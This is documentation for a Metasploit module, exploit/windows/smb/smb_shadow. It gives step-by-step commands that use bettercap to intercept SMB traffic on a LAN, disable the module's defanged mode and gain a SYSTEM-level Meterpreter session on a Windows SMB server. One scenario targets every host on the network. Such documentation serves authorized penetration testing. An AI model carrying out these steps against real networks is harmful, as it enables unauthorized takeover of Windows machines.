## Vulnerable Application

To be able to use exploit/windows/smb/smb_shadow, you must meet these requirements:

* There is a Windows SMB Server on the LAN
* There is a Windows SMB Client on the LAN
* Metasploit is running will full local socket access (e.g. as root user)

## Verification Steps

1. Ensure Windows SMB Client and Server are on the LAN
2. Run bettercap targeting both the SMB Client and Server (`bettercap -I <iface> -T <smb-client-ip>,<smb-server-ip>`)
3. Start msfconsole (`sudo msfconsole`)
4. Do `use exploit/windows/smb/smb_shadow`
5. Do `set INTERFACE <iface>`
6. Do `set DefangedMode false`
7. Do `run`
8. Make a SMB Client connect to the SMB Server as an Administrator
9. Receive a Meterpreter Session as SYSTEM on the SMB Server host

## Scenarios

**Active Windows Network**

Follow the following steps to target all the hosts on the LAN:

1. Run bettercap targeting the entire LAN (`bettercap -I <iface>`)
2. Start msfconsole (`sudo msfconsole`)
3. Do `use exploit/windows/smb/smb_shadow`
4. Do `set INTERFACE <iface>`
5. Do `set DefangedMode false`
6. Do `run`
7. Wait for any SMB Client to connect to any SMB Server as an Administrator
8. Receive a Meterpreter Session as SYSTEM on the SMB Server host
